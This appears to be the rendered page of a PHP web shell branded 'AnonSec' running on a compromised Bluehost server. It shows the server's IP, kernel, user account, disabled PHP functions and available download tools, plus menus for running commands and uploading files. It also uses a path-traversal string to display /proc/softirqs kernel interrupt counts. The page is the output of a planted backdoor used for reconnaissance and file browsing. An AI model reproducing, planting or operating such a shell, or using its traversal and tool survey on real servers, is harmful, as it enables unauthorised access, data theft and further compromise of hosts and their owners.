Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../etc/pki/java/../java/../java/../java/../java/../../../../../../sbin/../../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../etc/pki/java/../java/../java/../java/../java/../../../../../../sbin/../../proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   17205061   46840718   27672947   38348845   25898669   39417695   31361216   20291573   26890786   23331968   25542980   24935925  109716129   15326652   35015874   25285015
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         17          2          0          5          1
      NET_RX:   27787462   70983920   40801828   99093656   36496131  124822799   35005969   33554662   52781857   59537031   50858162   37258221   53642530   26955294  106398217  114565898
       BLOCK:    1275706    2160951    1972857    1575680    1312135    1337670    1342308    1263444    1420886    1199351    1069568    1282240    1241679    1271675    1421806    1550963
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5489302   13664090    4091032   25026768    7973436   31566965    8322812    6808359   11772731    7806289   16007525    9404105   15274938    4441226   24618016    4312080
       SCHED:   43630700   21179942   13980256   17697300   11577968   19915120   11919760   10174856   12936317   13443208   10877881   13560116   23203191    9164507   17391123   22651829
     HRTIMER:       2097       5321       3711       9195       2230      15143       1663       2585       4989       2699       5714       4318       7117       1398       9277       1367
         RCU:   42789998   77927290   55103041   90313777   52420972  108912495   53370801   46134798   60592912   74470924   47374446   48706294   99034784   41562270   98099009  148134268

AnonSec - 2021